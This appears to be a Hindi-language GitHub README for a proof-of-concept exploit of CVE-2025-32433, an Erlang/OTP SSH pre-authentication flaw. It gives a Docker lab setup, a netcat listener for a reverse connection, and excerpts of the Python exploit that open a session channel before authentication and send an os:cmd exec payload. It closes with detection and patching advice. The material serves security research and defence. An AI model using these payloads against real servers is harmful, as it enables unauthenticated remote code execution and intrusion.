antoniesoga/erlang-otp-poc_cve-2025-32433CVE-2025-32433 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, एक Erlang/OTP SSH प्री-प्रमाणीकरण चैनल भ्रम भेद्यता, Docker प्रयोगशाला के साथ प्रमाणीकरण बाईपास और दूरस्थ कोड निष्पादन का प्रदर्शन।
विवरण: Erlang/OTP SSH प्री-ऑथेंटिकेशन चैनल कन्फ्यूजन भेद्यता का एक प्रदर्शन।
यह PoC किस बारे में है?
यह प्रूफ ऑफ कॉन्सेप्ट CVE-2025-32433 को प्रदर्शित करता है, जो Erlang/OTP SSH सर्वर कार्यान्वयन में एक भेद्यता है जो हमलावर को प्रमाणीकरण से पहले SSH चैनल खोलने और कमांड निष्पादित करने की अनुमति देता है।
SSH प्रोटोकॉल अवस्था संक्रमणों के अनुचित प्रवर्तन के कारण, कुछ SSH संदेश (SSH_MSG_CHANNEL_OPEN और SSH_MSG_CHANNEL_REQUEST) उपयोगकर्ता प्रमाणीकरण सफलतापूर्वक पूरा होने से पहले स्वीकार किए जाते हैं। इसके परिणामस्वरूप Erlang VM के भीतर पूर्ण प्रमाणीकरण बायपास और रिमोट कमांड निष्पादन होता है।
इसके काम करने के लिए क्या भेद्य होना चाहिए?
भेद्यता तब ट्रिगर की जा सकती है जब निम्नलिखित शर्तें पूरी हों:
ssh एप्लिकेशन सक्षम हैमहत्वपूर्ण बात यह है कि यह समस्या कमजोर क्रेडेंशियल या गलत कॉन्फ़िगरेशन पर निर्भर नहीं है, बल्कि दोषपूर्ण प्रोटोकॉल अवस्था हैंडलिंग पर निर्भर है।
भेद्यता कैसे प्रकट होती है, और यह शोषणीय क्यों है?
यह समस्या Erlang/OTP SSH सर्वर में एक अवस्था कन्फ्यूजन दोष से उत्पन्न होती है, जहां चैनल-संबंधित संदेशों को संसाधित करने से पहले प्रमाणीकरण अवस्था को सख्ती से लागू नहीं किया जाता है।
उच्च स्तर पर, शोषण निम्नानुसार आगे बढ़ता है:
session चैनल के लिए SSH_MSG_CHANNEL_OPEN अनुरोध भेजता है।exec प्रकार का SSH_MSG_CHANNEL_REQUEST भेजा जाता है।os:cmd/1) के माध्यम से निष्पादित किया जाता है।यह व्यवहार RFC 4252/4254 में परिभाषित SSH प्रोटोकॉल मॉडल का उल्लंघन करता है, जहां चैनल निर्माण और अनुरोध केवल सफल प्रमाणीकरण के बाद ही अनुमत होने चाहिए।
संक्षेप में:
ssh_connection प्रक्रिया exec अनुरोधों को समय से पहले संसाधित करती हैयह एक तर्क और अवस्था प्रबंधन भेद्यता है, क्रिप्टोग्राफिक कमजोरी नहीं।
निम्नलिखित चरण Docker का उपयोग करके एक स्व-निहित भेद्य वातावरण बनाते और तैनात करते हैं। कंटेनर एक जानबूझकर कठोर SSH सर्वर चलाता है जो सभी क्रेडेंशियल्स को अस्वीकार करता है, यह सुनिश्चित करता है कि कोई भी सफल कमांड निष्पादन प्रमाणीकरण बायपास का परिणाम है।
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .
docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
एक बार चलने के बाद, SSH डेमन पोर्ट 2222 पर उजागर होगा और प्रदान किए गए PoC का उपयोग करके शोषण के लिए तैयार होगा।
यह स्क्रिप्ट Erlang/OTP SSH सर्वर में एक दोष का शोषण करती है जो प्रमाणीकरण से पहले कुछ SSH प्रोटोकॉल संदेशों को संसाधित करने की अनुमति देता है।
शोषण प्रक्रिया में दो टर्मिनलों की आवश्यकता होती है: एक रिवर्स कनेक्शन प्राप्त करने के लिए, और दूसरा शोषण लॉन्च करने के लिए।
श्रोता (टर्मिनल 1):
nc -lvnp 4488
शोषण निष्पादन (टर्मिनल 2):
python3 exploit.py
प्रोटोकॉल स्पूफिंग
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
इन संदेशों का उपयोग सर्वर को कनेक्शन को एक वैध SSH क्लाइंट के रूप में मानने के लिए किया जाता है। वे SSH प्रोटोकॉल अवस्था को प्रमाणीकरण पूरा किए बिना चैनल-संबंधित संदेशों की अनुमति देने के लिए पर्याप्त रूप से आगे बढ़ाते हैं।
प्री-ऑथेंटिकेशन सत्र चैनल
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
इस अनुरोध का उपयोग प्रमाणीकरण से पहले एक सत्र चैनल खोलने के लिए किया जाता है। भेद्य Erlang/OTP SSH सर्वरों पर, यह सामान्य पहुंच नियंत्रणों को बायपास करता है और एक अनधिकृत सत्र बनाता है।
कमांड निष्पादन अनुरोध
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
इस अनुरोध का उपयोग Erlang रनटाइम के माध्यम से कमांड निष्पादन को ट्रिगर करने के लिए किया जाता है। पेलोड को Erlang सिंटैक्स में लपेटने से यह सुनिश्चित होता है कि कमांड Erlang VM द्वारा निष्पादित की जाती है, न कि मानक SSH शेल कमांड के रूप में मानी जाती है।
यदि लक्ष्य भेद्य है, तो आपूर्ति की गई कमांड बिना प्रमाणीकरण के निष्पादित की जाती है।
इस भेद्यता के खिलाफ रक्षा सख्त नेटवर्क विभाजन और प्रोटोकॉल-स्तर की निगरानी पर निर्भर करती है, क्योंकि मानक प्रमाणीकरण लॉग बायपास प्रयासों को रिकॉर्ड नहीं कर सकते हैं (क्योंकि प्रमाणीकरण छोड़ दिया जाता है)।
SSH_MSG_CHANNEL_OPEN (प्रकार 90) पैकेट कुंजी विनिमय के तुरंत बाद भेजे जाते हैं, बिना किसी पूर्व SSH_MSG_USERAUTH_SUCCESS (प्रकार 52) पैकेट के।os:cmd कॉल या शेल प्रक्रिया स्पॉनिंग की निगरानी करें जो एप्लिकेशन लॉग में सफलतापूर्वक लॉग-इन उपयोगकर्ता सत्र से संबंधित नहीं है।एकमात्र पूर्ण उपचार अंतर्निहित Erlang/OTP रनटाइम को पैच करना है ताकि सख्त अवस्था संक्रमणों को लागू किया जा सके।
Erlang/OTP रनटाइम को तुरंत एक ऐसे संस्करण में अपग्रेड करें जो चैनल निर्माण से पहले प्रमाणीकरण जांच लागू करता है। सुनिश्चित करें कि आप "प्रभावित शर्तें" अनुभाग में सूचीबद्ध संस्करणों से नया संस्करण चला रहे हैं।
नवीनतम सुरक्षा पैच के लिए आधिकारिक Erlang/OTP GitHub रिलीज़ देखें।
यदि तत्काल अपग्रेड संभव नहीं है, तो निम्नलिखित नियंत्रण लागू करें:
SSH एप्लिकेशन अक्षम करें: यदि SSH इंटरफ़ेस मिशन-क्रिटिकल नहीं है, तो हमले की सतह को हटाने के लिए एप्लिकेशन को रोकें:
ssh:stop().
फ़ायरवॉल व्हाइटलिस्टिंग: उजागर SSH पोर्ट तक नेटवर्क पहुंच को केवल आंतरिक, प्रशासनिक सबनेट तक सीमित करें।
Antonie Șoga
AntonieSoga · सहयोगी
Ene Călin Tudor
7uddy · सहयोगी